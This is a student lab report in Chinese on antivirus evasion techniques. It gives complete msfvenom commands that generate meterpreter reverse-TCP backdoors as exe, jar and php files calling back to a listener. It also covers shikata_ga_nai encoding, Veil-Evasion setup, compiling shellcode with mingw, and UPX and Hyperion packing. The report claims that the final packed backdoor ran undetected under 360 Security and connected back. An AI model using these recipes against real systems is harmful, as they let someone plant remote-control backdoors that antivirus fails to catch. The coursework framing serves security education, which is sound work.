2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践
20165107 Exp3 免杀原理与实践
实验要求
1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
2、通过组合应用各种技术实现恶意代码免杀
3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
- 启发式恶意软件检测:根据些片面特征去推断,通常不精确。
- 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
(2)免杀是做什么?
- 让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。
(3)免杀的基本方法有哪些?
- 改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。
- 改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,生成exe文件。在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
VirusTotal扫描结果如下:
Virscan网站的扫描结果如下:
由此可见,不加任何处理的后门程序可以被大多数杀毒软件检测到。
下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded.exe
扫描一下:
- 十次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded10.exe
扫描一下:
可见多次编码对免杀并没有太大的效果。我觉得是因为编码器使用默认参数或模板,有一定的固定特征。一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
2、msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 x> lyl_backdoor_java.jar 并进行扫描。
3、msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom
-p php/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 x> 20165107_backdoor.php
扫描结果如下:
4. 使用veil-evasion生成后门程序及检测
- 安装veil
- 用sudo apt-get install veil-evasion命令安装Veil
- 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间,输入
veil
指令,会出现下面这个界面。
用use evasion
命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
- 设置反弹连接IP,命令为:set LHOST 192.168.150.132,注意此处的IP是KaliIP;
- 设置端口,命令为:set LPORT 5107
- 输入
generate
生成文件,接着输入你想要playload的名字:veil_c_5107
- 进行扫描
5. 半手工注入Shellcode并执行
- 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 -f c
用c语言生成一段shellcode;
- 创建一个文件
20165107.c
,然后将unsigned char buf[]
赋值到其中:
- 使用命令:
i686-w64-mingw32-g++ 20165107.c -o 20165107.exe
编译这个.c文件为可执行文件;
- 检测结果如下图:
- 当想要使用windows上执行该程序时,被电脑的360卫士查杀。
6、加壳
- 使用c+shellcode+加压缩壳
- 原理是将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
- 使用压缩壳(UPX)
给之前的20165107.exe加个壳得到lyl_upxed.exe;
然而杀软依然能检测到:
- 如果我们想要测试一下他是否可以反弹连接又不想被查杀怎么办呢?——可以设置白名单,我用的是360卫士,具体如下:
- 再进行反弹连接,成功连接!
进行扫描检测,免杀效果不错:
- 加密壳Hyperion
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v lyl_upxed.exe lyl_upxed_Hyperion.exe进行加壳并尝试反弹连接
进行检测:
任务二、通过组合应用各种技术实现恶意代码免杀
首先用C语言生成一段shellcode,然后将C语言文件变成可执行文件,然后进行加壳,先进行压缩壳,然后进行加密壳(具体操作可看上面任务)
然后进行360查杀如图:
有趣的是,比如360杀软都是只在第一次扫描不出来,你再次查杀是就会被发现,我觉得这可能和杀软的特征库更新有关吧。
任务三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 对方电脑的版本:Windows 7x64 虚拟机
- 杀软名称版本:360安全卫士 11.0.5.2002
- 文件扫描未检测出问题。
- 文件双击打开,可运行,杀软未阻止,可实现反弹连接。
实验遇到的问题及解决方法
我在交叉编译时出现以下问题:“Bash: i686-w64-mingw32-g++:未找到命令”
解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。
实践总结与体会
1、开启杀软能绝对防止电脑中恶意代码吗:
答:经过实验,我发现杀软不能检测到的恶意代码还是非常多的,可谓漏洞百出,安装了杀软不能保证计算机网络及系统的绝对安全,杀软的监测能力十分有限。
2、实验体会:
答:本次实验承接上次的后门实验,是实验二的进阶学习,这就需要我们熟练掌握和运用后门技术,通过本次实验,我了解了免杀的概念、免杀的基本方法,了解并使用了VirusTotal、Virscan等工具,实现了最简单的免杀的处理手段,过程十分有趣,在实践中熟习后门和免杀基本操作。同时,我也意识到杀软的监测能力十分有限,所以在以后上网的过程中还需提高网络安全意识,下载软件通过正规渠道,从而降低被植入后门的可能性。我也相信,杀软这只盾也会随着资源库的更新、网安技术的成熟愈发强大坚固,能够给与广大互联网用户更优秀的、更加可信赖的安全防护。